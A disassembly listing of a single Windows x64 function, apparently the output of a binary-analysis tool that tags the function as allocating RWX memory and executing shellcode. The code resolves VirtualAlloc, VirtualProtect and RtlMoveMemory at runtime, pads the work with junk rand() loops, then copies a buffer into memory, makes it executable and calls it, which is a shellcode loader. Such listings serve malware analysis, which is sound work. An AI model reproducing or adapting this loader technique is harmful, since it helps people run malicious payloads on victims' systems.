Function at 0x140002390
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x20
mov r15, rcx
mov qword [rsp + 0x50], r14
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
mov esi, 0xa
mov rbp, rax
test rax, rax
jne 0x1400023c7
mov ebp, ebx
jmp 0x140002446
mov rdi, rsi
nop word [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
mov dword [rsp + 0x60], r8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xc8
sub r8d, ecx
mov dword [rsp + 0x58], r8d
mov edx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x60]
add edx, eax
mov dword [rsp + 0x58], edx
sub rdi, 1
jne 0x1400023d0
lea rdx, str.VirtualAlloc
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
jne 0x140002460
mov rdi, rbx
jmp 0x1400024d9
mov rdi, rsi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
mov dword [rsp + 0x60], r8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xc8
sub r8d, ecx
mov dword [rsp + 0x58], r8d
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x58], ecx
sub rdi, 1
jne 0x140002463
lea rdx, str.VirtualFree
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x140002567
mov rbx, rsi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
mov dword [rsp + 0x60], r8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xc8
sub r8d, ecx
mov dword [rsp + 0x58], r8d
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x58], ecx
sub rbx, 1
jne 0x1400024f1
lea rdx, str.RtlMoveMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov r14, qword [rsp + 0x50]
test rbp, rbp
je 0x1400026c4
test rdi, rdi
je 0x1400026c4
test rbx, rbx
je 0x1400026c4
mov edx, 0x3f0
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call rbp
mov rbx, rax
test rax, rax
jne 0x1400025ba
lea rcx, str.Failed_to_allocate_memory._n
add rsp, 0x20
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
jmp fcn.140001830
mov rdx, rbx
lea rcx, str.Memory_allocated_at__p_n
call fcn.140001830
mov r8d, 0x3f0
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
nop word [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
mov dword [rsp + 0x60], r8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xc8
sub r8d, ecx
mov dword [rsp + 0x58], r8d
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x58], ecx
sub rsi, 1
jne 0x1400025e0
lea r9, [0x1400086cc]
mov edx, 0x3f0
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002689
lea rcx, str.Failed_to_change_memory_protection._n
call fcn.140001830
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
mov rax, rdi
add rsp, 0x20
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
jmp rax
lea rcx, str.Executing_shellcode..._n
mov qword [0x1400086d0], rbx
mov qword [0x140008678], 0x3f0
call fcn.140001830
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
mov rax, rdi
add rsp, 0x20
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
jmp rax
lea rcx, str.Failed_to_resolve_necessary_functions._n
add rsp, 0x20
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
jmp fcn.140001830